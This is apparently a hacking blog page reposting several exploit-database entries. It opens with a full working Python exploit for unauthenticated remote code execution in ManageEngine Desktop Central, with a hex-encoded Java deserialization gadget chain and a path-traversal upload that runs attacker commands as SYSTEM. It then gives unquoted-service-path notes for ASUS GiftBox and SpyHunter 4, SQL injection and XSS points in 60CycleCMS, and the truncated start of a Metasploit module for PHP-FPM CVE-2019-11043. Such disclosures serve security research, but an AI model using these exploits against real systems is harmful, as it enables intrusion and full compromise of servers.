Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863164252

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python3
"""
ManageEngine Desktop Central FileStorage getChartImage Deserialization of Untrusted Data Remote Code Execution Vulnerability

Download: https://www.manageengine.com/products/desktop-central/download-free.html
File ...: ManageEngine_DesktopCentral_64bit.exe
SHA1 ...: 73ab5bb00f993685c711c0aed450444795d5b826
Found by: mr_me
Date ...: 2019-12-12
Class ..: CWE-502
CVSS ...: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

## Summary:

An unauthenticated attacker can reach a Deserialization of Untrusted Data vulnerability that can allow them to execute arbitrary code as SYSTEM/root.

## Vulnerability Analysis:

In the web.xml file, we can see one of the default available servlets is the `CewolfServlet` servlet.

```
<servlet>
    <servlet-name>CewolfServlet</servlet-name>
    <servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class>

    <init-param>
        <param-name>debug</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>overliburl</param-name>
        <param-value>/js/overlib.js</param-value>
    </init-param>
    <init-param>
        <param-name>storage</param-name>
        <param-value>de.laures.cewolf.storage.FileStorage</param-value>
    </init-param>

    <load-on-startup>1</load-on-startup>
</servlet>

    ...

<servlet-mapping>
    <servlet-name>CewolfServlet</servlet-name>
    <url-pattern>/cewolf/*</url-pattern>
</servlet-mapping>
```

This servlet, contains the following code:

```
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        if (debugged) {
            logRequest(request);
        }
        addHeaders(response);
        if ((request.getParameter("state") != null) || (!request.getParameterNames().hasMoreElements())) {
            requestState(response);
            return;
        }
        int width = 400;
        int height = 400;
        boolean removeAfterRendering = false;
        if (request.getParameter("removeAfterRendering") != null) {
            removeAfterRendering = true;
        }
        if (request.getParameter("width") != null) {
            width = Integer.parseInt(request.getParameter("width"));
        }
        if (request.getParameter("height") != null) {
            height = Integer.parseInt(request.getParameter("height"));
        }
        if (!renderingEnabled) {
            renderNotEnabled(response, 400, 50);
            return;
        }
        if ((width > config.getMaxImageWidth()) || (height > config.getMaxImageHeight())) {
            renderImageTooLarge(response, 400, 50);
            return;
        }
        String imgKey = request.getParameter("img");                                // 1
        if (imgKey == null) {
            logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response,
                    width, height);
            return;
        }
        Storage storage = config.getStorage();
        ChartImage chartImage = storage.getChartImage(imgKey, request);             // 2
```

At [1] the code sets the `imgKey` variable using the GET parameter `img`. Later at [2], the code then calls the `storage.getChartImage` method with the attacker supplied `img`. You maybe wondering what class the `storage` instance is. This was mapped as an initializing parameter to the servlet code in the web.xml file:

```
    <init-param>
        <param-name>storage</param-name>
        <param-value>de.laures.cewolf.storage.FileStorage</param-value>
    </init-param>
```

```
public class FileStorage implements Storage {
    static final long serialVersionUID = -6342203760851077577L;
    String basePath = null;
    List stored = new ArrayList();
    private boolean deleteOnExit = false;

    //...

    public void init(ServletContext servletContext) throws CewolfException {
        basePath = servletContext.getRealPath("/");
        Configuration config = Configuration.getInstance(servletContext);
        deleteOnExit = "true".equalsIgnoreCase("" + (String) config.getParameters().get("FileStorage.deleteOnExit"));
        servletContext.log("FileStorage initialized, deleteOnExit=" + deleteOnExit);
    }

    //...

    private String getFileName(String id) {
        return basePath + "_chart" + id;                                            // 4
    }

    //...

    public ChartImage getChartImage(String id, HttpServletRequest request) {
        ChartImage res = null;
        ObjectInputStream ois = null;
        try {
            ois = new ObjectInputStream(new FileInputStream(getFileName(id)));      // 3
            res = (ChartImage) ois.readObject();                                    // 5
            ois.close();
        } catch (Exception ex) {
            ex.printStackTrace();
        } finally {
            if (ois != null) {
                try {
                    ois.close();
                } catch (IOException ioex) {
                    ioex.printStackTrace();
                }
            }
        }
        return res;
    }
```

At [3] the code calls `getFileName` using the attacker controlled `id` GET parameter which returns a path to a file on the filesystem using `basePath`. This field is set in the `init` method of the servlet. On the same line, the code creates a new `ObjectInputStream` instance from the supplied filepath via `FileInputStream`. This path is attacker controlled at [4], however, there is no need to (ab)use traversals here for exploitation.

The most important point is that at [5] the code calls `readObject` using the contents of the file without any further lookahead validation.

## Exploitation:

For exploitation, an attacker can (ab)use the `MDMLogUploaderServlet` servlet to plant a file on the filsystem with controlled content inside. Here is the corresponding web.xml entry:

```
<servlet>
    <servlet-name>MDMLogUploaderServlet</servlet-name>
    <servlet-class>com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet</servlet-class>
</servlet>

...

<servlet-mapping>
    <servlet-name>MDMLogUploaderServlet</servlet-name>
    <url-pattern>/mdm/mdmLogUploader</url-pattern>
    <url-pattern>/mdm/client/v1/mdmLogUploader</url-pattern>
</servlet-mapping>
```

```
public class MDMLogUploaderServlet extends DeviceAuthenticatedRequestServlet {
    private Logger logger = Logger.getLogger("MDMLogger");
    private Long customerID;
    private String deviceName;
    private String domainName;
    private Long resourceID;
    private Integer platformType;
    private Long acceptedLogSize = Long.valueOf(314572800L);

    public void doPost(HttpServletRequest request, HttpServletResponse response, DeviceRequest deviceRequest)
            throws ServletException, IOException {
        Reader reader = null;
        PrintWriter printWriter = null;

        logger.log(Level.WARNING, "Received Log from agent");

        Long nDataLength = Long.valueOf(request.getContentLength());

        logger.log(Level.WARNING, "MDMLogUploaderServlet : file conentent lenght is {0}", nDataLength);

        logger.log(Level.WARNING, "MDMLogUploaderServlet :Acceptable file conentent lenght is {0}", acceptedLogSize);
        try {
            if (nDataLength.longValue() <= acceptedLogSize.longValue()) {
                String udid = request.getParameter("udid");                                                                     // 1
                String platform = request.getParameter("platform");
                String fileName = request.getParameter("filename");                                                             // 2
                HashMap deviceMap = MDMUtil.getInstance().getDeviceDetailsFromUDID(udid);
                if (deviceMap != null) {
                    customerID = ((Long) deviceMap.get("CUSTOMER_ID"));
                    deviceName = ((String) deviceMap.get("MANAGEDDEVICEEXTN.NAME"));
                    domainName = ((String) deviceMap.get("DOMAIN_NETBIOS_NAME"));
                    resourceID = ((Long) deviceMap.get("RESOURCE_ID"));
                    platformType = ((Integer) deviceMap.get("PLATFORM_TYPE"));
                } else {
                    customerID = Long.valueOf(0L);
                    deviceName = "default";
                    domainName = "default";
                }
                String baseDir = System.getProperty("server.home");

                deviceName = removeInvalidCharactersInFileName(deviceName);

                String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + customerID
                        + File.separator + deviceName + "_" + udid;                                                             // 3

                File file = new File(localDirToStore);
                if (!file.exists()) {
                    file.mkdirs();                                                                                              // 4
                }
                logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{localDirToStore});

                fileName = fileName.toLowerCase();
                if ((fileName != null) && (FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z"))) {            // 5
                    logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload {0}", fileName);
                    response.sendError(403, "Request Refused");
                    return;
                }
                String absoluteFileName = localDirToStore + File.separator + fileName;                                          // 6

                logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName});

                InputStream in = null;
                FileOutputStream fout = null;
                try {
                    in = request.getInputStream();                                                                              // 7
                    fout = new FileOutputStream(absoluteFileName);                                                              // 8

                    byte[] bytes = new byte['✐'];
                    int i;
                    while ((i = in.read(bytes)) != -1) {
                        fout.write(bytes, 0, i);                                                                                // 9
                    }
                    fout.flush();
                } catch (Exception e1) {
                    e1.printStackTrace();
                } finally {
                    if (fout != null) {
                        fout.close();
                    }
                    if (in != null) {
                        in.close();
                    }
                }
                SupportFileCreation supportFileCreation = SupportFileCreation.getInstance();
                supportFileCreation.incrementMDMLogUploadCount();
                JSONObject deviceDetails = new JSONObject();
                deviceDetails.put("platformType", platformType);
                deviceDetails.put("dataId", resourceID);
                deviceDetails.put("dataValue", deviceName);
                supportFileCreation.removeDeviceFromList(deviceDetails);
            } else {
                logger.log(Level.WARNING,
                        "MDMLogUploaderServlet : Going to reject the file upload as the file conentent lenght is {0}",
                        nDataLength);
                response.sendError(403, "Request Refused");
                return;
            }
            return;
        } catch (Exception e) {
            logger.log(Level.WARNING, "Exception   ", e);
        } finally {
            if (reader != null) {
                try {
                    reader.close();
                } catch (Exception ex) {
                    ex.fillInStackTrace();
                }
            }
        }
    }
```

```
    private static boolean isContainDirectoryTraversal(String fileName) {
        if ((fileName.contains("/")) || (fileName.contains("\\"))) {
            return true;
        }
        return false;
    }

    //...

    public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) {
        if ((isContainDirectoryTraversal(fileName)) || (isCompletePath(fileName))
                || (!isValidFileExtension(fileName, allowedFileExt))) {
            return true;
        }
        return false;
    }
```

We can see that at [1] the `udid` variable is controlled using the `udid` GET parameter from a POST request. At [2] the `fileName` variable is controlled from the GET parameter `filename`. This `filename` GET parameter is actually filtered in 2 different ways for malicious values. At [3] a path is contructed using the GET parameter from [1] and at [4] a `mkdirs` primitive is hit. This is important because the _charts directory doesn't exist on the filesystem which is needed in order to exploit the deserialization bug. There is some validation on the `filename` at [5] which calls `FileUploadUtil.hasVulnerabilityInFileName` to check for directory traversals and an allow list of extensions.

Of course, this doesn't stop `udid` from containing directory traversals, but I digress. At [6] the `absoluteFileName` variable is built up from the attacker influenced path at [3] using the filename from [2] and at [7] the binary input stream is read from the attacker controlled POST body. Finally at [8] and [9] the file is opened and the contents of the request is written to disk. What is not apparent however, is that further validation is performed on the `filename` at [2]. Let's take one more look at the web.xml file:

```
<init-param>
    <param-name>config-file</param-name>
    <param-value>security-regex.xml,security-mdm-regex.xml,security-mdm-api-regex.xml,security-properties.xml,security-common.xml,security-admin-sec-settings.xml,security-fws.xml,security-api.xml,security-patch-restapi.xml,security-mdm-groupdevices.xml,security-mdm-admin.xml,security-mdm-general.xml,security-mdm-agent.xml,security-mdm-reports.xml,security-mdm-inventory.xml,security-mdm-appmgmt.xml,security-mdm-docmgmt.xml,security-mdm-configuration.xml,security-defaultresponseheaders.xml,security-mdm-remote.xml,security-mdm-api-json.xml,security-mdm-api-get.xml,security-mdm-api-post.xml,security-mdm-api-put.xml,security-mdm-api-delete.xml,security-mdm-privacy.xml,security-mdm-osmgmt.xml,security-mdmapi-appmgmt.xml,security-mdmapi-profilejson.xml,security-mdmapi-profilemgmt.xml,security-mdm-compliance.xml,security-mdm-geofence.xml,security-mdmapi-sdp.xml,security-mdmp-CEA.xml,security-mdmapi-supporttab.xml,security-mdmapi-general.xml,security-mdm-roles.xml,security-mdm-technicians.xml,security-mdm-cea.xml,security-mdmapi-content-mgmt.xml,security-config.xml,security-patch.xml,security-patch-apd-scan.xml,security-patch-apd-scan-views.xml,security-patch-deployment.xml,security-patch-views.xml,security-patch-config.xml,security-patch-onpremise.xml,security-patch-server.xml,security-onpremise-common.xml,security-mdm-onpremise-files.xml,security-mdmapi-directory.xml,security-admin.xml,security-onpremise-admin.xml,security-reports.xml,security-inventory.xml,security-custom-fields.xml</param-value>
</init-param>
```

The file that stands out is the `security-mdm-agent.xml` config file. The corrosponding entry for the `MDMLogUploaderServlet` servlet looks like this:

```
        <url path="/mdm/mdmLogUploader" apiscope="MDMCloudEnrollment"  authentication="required" duration="60" threshold="10" lock-period="60" method="post" csrf="false">
            <param name="platform" regex="ios|android"/>
            <param name="filename" regex="logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip"/>
            <param name="uuid" regex="safestring"/>
            <param name="udid" regex="udid"/>
            <param name="erid" type="long"/>
                        <param name="authtoken" regex="apikey" secret="true"/>
                        <param name="SCOPE" regex="scope" />
                        <param name="encapiKey" regex="encapiKey" max-len="200" />
            <param name="initiatedBy" regex="safestring"/>
            <param name="extraData" type="JSONObject" template="supportIssueDetailsJson" max-len="2500"/>
        </url>
```

Note that the authentication attribute is ignored in this case. The `filename` GET parameter is restricted to the following strings: "logger.txt", "logger.zip", "mdmlogs.zip" and "managedprofile_mdmlogs.zip" using a regex pattern. For exploitation, this limitation doesn't matter since the deserialization bug permits a completely controlled filename.

## Example:

saturn:~ mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <cmd>
(+) eg: ./poc.py 172.16.175.153 mspaint.exe

saturn:~ mr_me$ ./poc.py 172.16.175.153 "cmd /c whoami > ../webapps/DesktopCentral/si.txt"
(+) planted our serialized payload
(+) executed: cmd /c whoami > ../webapps/DesktopCentral/si.txt

saturn:~ mr_me$ curl http://172.16.175.153:8020/si.txt
nt authority\system
"""
import os
import sys
import struct
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def _get_payload(c):
    p  = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594"
    p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400"
    p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200"
    p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265"
    p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172"
    p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e"
    p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e"
    p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172"
    p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75"
    p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e"
    p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e"
    p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d"
    p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00"
    p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a"
    p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f"
    p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072"
    p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767"
    p += "db37020000787000000002757200025b42acf317f8060854e002000078700000"
    p += "069bcafebabe0000003200390a00030022070037070025070026010010736572"
    p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75"
    p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465"
    p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162"
    p += "6c655461626c6501000474686973010013537475625472616e736c6574506179"
    p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c"
    p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73"
    p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f"
    p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873"
    p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c"
    p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469"
    p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73"
    p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c"
    p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f"
    p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65"
    p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074"
    p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78"
    p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e"
    p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d"
    p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865"
    p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69"
    p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63"
    p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64"
    p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041"
    p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c"
    p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572"
    p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a"
    p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f"
    p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f"
    p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f"
    p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100"
    p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f"
    p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f"
    p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061"
    p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100"
    p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469"
    p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a"
    p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f"
    p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033"
    p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961"
    p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269"
    p += "616c2f50776e657237363332383835383532303630393b002100020003000100"
    p += "040001001a000500060001000700000002000800040001000a000b0001000c00"
    p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e"
    p += "000e0000000c000100000005000f003800000001001300140002000c0000003f"
    p += "0000000300000001b100000002000d00000006000100000033000e0000002000"
    p += "0300000001000f00380000000000010015001600010000000100170018000200"
    p += "19000000040001001a00010013001b0002000c000000490000000400000001b1"
    p += "00000002000d00000006000100000037000e0000002a000400000001000f0038"
    p += "00000000000100150016000100000001001c001d000200000001001e001f0003"
    p += "0019000000040001001a00080029000b0001000c00000024000300020000000f"
    p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020"
    p += "00000002002100110000000a000100020023001000097571007e0010000001d4"
    p += "cafebabe00000032001b0a000300150700170700180700190100107365726961"
    p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505"
    p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100"
    p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65"
    p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365"
    p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164"
    p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473"
    p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61"
    p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f"
    p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f"
    p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300"
    p += "2100020003000100040001001a00050006000100070000000200080001000100"
    p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000"
    p += "000600010000003b000e0000000c000100000005000f00120000000200130000"
    p += "0002001400110000000a000100020016001000097074000450776e7270770100"
    p += "7871007e000d78"
    obj = bytearray(bytes.fromhex(p))
    obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694)
    obj[0x6e5:0x6e7] = struct.pack(">H", len(c))
    start = obj[:0x6e7]
    end = obj[0x6e7:]
    return start + str.encode(c) + end

def we_can_plant_serialized(t, c):
    # stage 1 - traversal file write primitive
    uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t
    p = {
        "udid" : "si\\..\\..\\..\\webapps\\DesktopCentral\\_chart",
        "filename" : "logger.zip"
    }
    h = { "Content-Type" : "application/octet-stream" }
    d = _get_payload(c)
    r = requests.post(uri, params=p, data=d, verify=False)
    if r.status_code == 200:
        return True
    return False

def we_can_execute_cmd(t):
    # stage 2 - deserialization
    uri = "https://%s:8383/cewolf/" % t
    p = { "img" : "\\logger.zip" }
    r = requests.get(uri, params=p, verify=False)
    if r.status_code == 200:
        return True
    return False

def main():
    if len(sys.argv) != 3:
        print("(+) usage: %s <target> <cmd>" % sys.argv[0])
        print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0])
        sys.exit(1)
    t = sys.argv[1]
    c = sys.argv[2]
    if we_can_plant_serialized(t, c):
        print("(+) planted our serialized payload")
        if we_can_execute_cmd(t):
            print("(+) executed: %s" % c)

if __name__ == "__main__":
    main()
            
# Exploit Title: ASUS GiftBox Desktop 1.1.1.127 - 'ASUSGiftBoxDesktop' Unquoted Service Path
# Discovery by: Oscar Flores
# Discovery Date: 2020-03-05
# Vendor Homepage: https://www.asus.com/
# Software Link : https://www.microsoft.com/en-us/p/asus-giftbox/9wzdncrdrb6s?activetab=pivot:overviewtab 
# Tested Version: 1.1.1.127
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home Single Language

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "ASUSGift" | findstr /i /v """

Asus GiftBox Desktop	ASUSGiftBoxDekstop	C:\Program Files (x86)\ASUS\ASUS GIFTBOX Desktop\ASUSGIFTBOXDesktop.exe		Auto 

# Service info:

C:\>sc qc ASUSGiftBoxDekstop
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ASUSGiftBoxDekstop
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ASUS\ASUS GIFTBOX Desktop\ASUSGIFTBOXDesktop.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Asus GiftBox Desktop
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the 
# system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local 
# user's code would execute with the elevated privileges of the application.
            
# Exploit Title: SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path
# Discovery by: Alejandro Reyes
# Discovery Date: 2020-03-05
# Vendor Homepage: https://www.enigmasoftware.com
# Software Link : https://www.enigmasoftware.com/spyhunter-download-instructions/
# Tested Version: 4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "SpyHunter" | findstr /i /v """

SpyHunter 4 Service    SpyHunter 4 Service          C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe                                                                                                                                                                                                                   Auto

# Service info:

C:\>sc qc "IsAppService"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SpyHunter 4 Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe
        LOAD_ORDER_GROUP   : Base
        TAG                : 0
        DISPLAY_NAME       : SpyHunter 4 Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the 
# system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local 
# user's code would execute with the elevated privileges of the application.
            
# Exploit Title: 60CycleCMS  - 'news.php' Multiple vulnerability
# Google Dork: N/A
# Date: 2020-02-10
# Exploit Author: Unkn0wn
# Vendor Homepage: http://davidvg.com/
# Software Link: https://www.opensourcecms.com/60cyclecms
# Version: 2.5.2
# Tested on: Ubuntu
# CVE : N/A
---------------------------------------------------------

SQL Injection vulnerability:
----------------------------
in file /common/lib.php Line 64 -73
*
function getCommentsLine($title)
{
$title = addslashes($title);
$query = "SELECT `timestamp` FROM `comments` WHERE entry_id= '$title'";
// query MySQL server
$result=mysql_query($query) or die("MySQL Query fail: $query");
$numComments = mysql_num_rows($result);
$encTitle = urlencode($title);
return '<a href="post.php?post=' . $encTitle . '#comments" >' . $numComments . ' comments</a>';
}
lib.php line 44:
*
$query = "SELECT `timestamp`,`author`,`text` FROM `comments` WHERE `entry_id` ='$title' ORDER BY `timestamp` ASC";

*
*
news.php line 3:
*
require 'common/lib.php';
*
Then in line 15 return query us:
*
$query = "SELECT MAX(`timestamp`) FROM `entries
*

http://127.0.0.1/news.php?title=$postName[SQL Injection]
----------------------------
Cross Site-Scripting vulnerability:
File news.php in line: 136-138 :
*
$ltsu = $_GET["ltsu"];
$etsu = $_GET["etsu"];
$post = $_GET["post"];
*
get payload us and printEnerty.php file in line 26-27:
*
<? echo '<a class="navLink" href="index.php?etsu=' . $etsu . '">Older ></a>';
<? echo '<a class="navLink" href="index.php?ltsu=' . 0 . '">Oldest >>|</a>';
*

print it for us!
http://127.0.0.1/index.php?etsu=[XSS Payloads]
http://127.0.0.1/index.php?ltsu=[XSS Payloads]
----------------------------------------------------------
# Contact : 0x9a@tuta.io
# Visit: https://t.me/l314XK205E
# @ 2010 - 2020
# Underground Researcher
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'PHP-FPM Underflow RCE',
        'Description'    => %q(
          This module exploits an underflow vulnerability in versions 7.1.x
          below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on
          Nginx. Only servers with certains Nginx + PHP-FPM configurations are
          exploitable. This is a port of the original neex's exploit code (see
          refs.). First, it detects the correct parameters (Query String Length
          and custom header length) needed to trigger code execution. This step
          determines if the target is actually vulnerable (Check method). Then,
          the exploit sets a series of PHP INI directives to create a file
          locally on the target, which enables code execution through a query
          string parameter. This is used to execute normal payload stagers.
          Finally, this module does some cleanup by killing local PHP-FPM
          workers (those are spawned automatically once killed) and removing
          the created local file.
        ),
        'Author'         => [
          'neex',          # (Emil Lerner) Discovery and original exploit code
          'cdelafuente-r7' # This module
        ],
        'References'     =>
          [
            ['CVE', '2019-11043'],
            ['EDB', '47553'],
            ['URL', 'https://github.com/neex/phuip-fpizdam'],
            ['URL', 'https://bugs.php.net/bug.php?id=78599'],
            ['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html']
          ],
        'DisclosureDate' => "2019-10-22",
        'License'        => MSF_LICENSE,
        'Payload'        => {
          'BadChars' => "&>\' "
        },
        'Targets'        => [
          [
            'PHP', {
              'Platform' => 'php',
              'Arch'     => ARCH_PHP,
              'Payload'  => {
                'PrependEncoder' => "php -r \"",
                'AppendEncoder'  => "\""
              }
            }
          ],
          [
            'Shell Command', {
              'Platform' => 'unix',
              'Arch'     => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes'         => {
          'Stability'   => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php'])
    ])

    register_advanced_options([
      OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]),
      OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]),
      OptInt.new('QSLHint', [false, 'Query string length hint']),
      OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]),
      OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]),
      OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]),
      OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]),
      OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']),
      OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]),
      OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20])
    ])
    @filename = rand_text_alpha(1)
    @http_param = rand_text_alpha(1)
  end

  CHECK_COMMAND   = "which which"
  SUCCESS_PATTERN = "/bin/which"

  class DetectMethod
    attr_reader :php_option_enable, :php_option_disable

    def initialize(php_option_enable:, php_option_disable:, check_cb:)
      @php_option_enable = php_option_enable
      @php_option_disable = php_option_disable
      @check_cb = check_cb
    end

    def php_option_enabled?(res)
      !!@check_cb.call(res)
    end
  end

  def self.detect_methods
    {
      'session.auto_start' => DetectMethod.new(
        php_option_enable: 'session.auto_start=1',
        php_option_disable: 'session.auto_start=0',
        check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ }
      ),
      'output_handler.md5' => DetectMethod.new(
        php_option_enable:  'output_handler=md5',
        php_option_disable: 'output_handler=NULL',
        check_cb: ->(res) { res.body.length == 16 }
      )
    }
  end

  def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true)
    uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'})
    qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length
    if qsl_delta.odd?
      fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
    end
    prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
    qsl_prime = qsl - qsl_delta/2 - prefix.length
    if qsl_prime < 0
      fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
    end
    uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}"
    opts = {
      'method'  => 'GET',
      'uri'     => uri,
      'headers' => {
